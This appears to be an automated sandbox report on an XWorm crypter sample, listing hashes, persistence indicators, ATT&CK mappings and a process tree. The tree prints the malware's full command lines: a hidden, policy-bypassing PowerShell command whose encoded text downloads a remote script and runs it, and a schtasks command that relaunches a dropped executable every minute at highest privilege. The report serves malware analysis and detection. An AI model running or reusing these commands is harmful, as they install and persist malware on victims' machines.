b5df131373e2480d28873f9a2df7d4eadf0020267d3300ef0d2e7f6e282226ed

Analysis

max time kernel
142s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
08/07/2023, 16:51

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General

Target
XWorm_DNS_Crypter.exe
Size 3.0MB
Sample230708-vcs6dsgg2v
SHA256 b5df131373e2480d28873f9a2df7d4eadf0020267d3300ef0d2e7f6e282226ed
MD5 0f3228b29832e4ef86cabdad4b4ac02a
SHA1 82007fcce44e9f20b2de8143f80c242a787da735
SHA512 a0c01f3a4245b150468b2f78f8a37fe145a80f80eb65806e9a8846dc78a8e47a92744e4e3bb56d69d129afe3b263ab07d5ea89517f78399fb25fdf391bbe8e3b
SSDEEP 49152:ytNOLw16fDtAvJIkkCBJroBdDv6Lj9ukvTBvj4T7Nx2Yn68c:y9hJIkkCBJroBdDv6Lj9uGx4T7Nx2YnI
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

persistence

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	1744	powershell.exe
15	1744	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4464	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\powershell = "C:\\Users\\Admin\\powershell.exe"	powershell.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
572	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1744	powershell.exe
1744	powershell.exe
4464	powershell.exe
4464	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1744	powershell.exe
Token: SeDebugPrivilege	1744	powershell.exe
Token: SeDebugPrivilege	4464	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4460 wrote to memory of 720	4460	XWorm_DNS_Crypter.exe	85
PID 4460 wrote to memory of 720	4460	XWorm_DNS_Crypter.exe	85
PID 720 wrote to memory of 1744	720	cmd.exe	86
PID 720 wrote to memory of 1744	720	cmd.exe	86
PID 1744 wrote to memory of 572	1744	powershell.exe	88
PID 1744 wrote to memory of 572	1744	powershell.exe	88

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\XWorm_DNS_Crypter.exe
"C:\Users\Admin\AppData\Local\Temp\XWorm_DNS_Crypter.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -ep bypass -w hidden -e aQB3AHIAIABoAHQAdABwAHMAOgAvAC8AdAByAGEAbgBzAGYAZQByAC4AcwBoAC8AZwBlAHQALwBlAGkAawBrAFAAcQBoAEwAWQB6AC8AdABlAHMAdABlADEALgBwAHMAMQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAB8ACAAaQBlAHgA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:720
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -w hidden -e aQB3AHIAIABoAHQAdABwAHMAOgAvAC8AdAByAGEAbgBzAGYAZQByAC4AcwBoAC8AZwBlAHQALwBlAGkAawBrAFAAcQBoAEwAWQB6AC8AdABlAHMAdABlADEALgBwAHMAMQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAB8ACAAaQBlAHgA
    3⤵
    - Blocklisted process makes network request
    - Drops startup file
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1744
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "powershell" /tr "C:\Users\Admin\powershell.exe"
      4⤵
      Creates scheduled task(s)
      PID:572

C:\Users\Admin\powershell.exe
C:\Users\Admin\powershell.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4464

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_q05mctjv.1q4.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q05mctjv.1q4.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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powershell.exe

Path C:\Users\Admin\powershell.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

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powershell.exe

Path C:\Users\Admin\powershell.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

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memory/1744-147-0x000001E649A10000-0x000001E649A20000-memory.dmp

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memory/1744-145-0x000001E649A10000-0x000001E649A20000-memory.dmp

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memory/1744-143-0x000001E649A10000-0x000001E649A20000-memory.dmp

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memory/1744-144-0x000001E649A10000-0x000001E649A20000-memory.dmp

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memory/1744-148-0x000001E649A10000-0x000001E649A20000-memory.dmp

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memory/1744-149-0x000001E649A10000-0x000001E649A20000-memory.dmp

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memory/1744-150-0x000001E649A10000-0x000001E649A20000-memory.dmp

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memory/1744-151-0x000001E649A10000-0x000001E649A20000-memory.dmp

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memory/1744-138-0x000001E6623F0000-0x000001E662412000-memory.dmp

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memory/1744-161-0x000001E649A10000-0x000001E649A20000-memory.dmp

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memory/1744-162-0x000001E649A10000-0x000001E649A20000-memory.dmp

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memory/4460-146-0x0000000000400000-0x000000000058F000-memory.dmp

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memory/4464-176-0x0000023580170000-0x0000023580180000-memory.dmp

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memory/4464-177-0x0000023580170000-0x0000023580180000-memory.dmp

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memory/4464-178-0x00000235E7A30000-0x00000235E7A74000-memory.dmp

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memory/4464-179-0x0000023600000000-0x0000023600076000-memory.dmp

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memory/4464-180-0x0000023580170000-0x0000023580180000-memory.dmp

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memory/4464-183-0x0000023580170000-0x0000023580180000-memory.dmp

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memory/4464-184-0x0000023580170000-0x0000023580180000-memory.dmp

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memory/4464-185-0x0000023580170000-0x0000023580180000-memory.dmp

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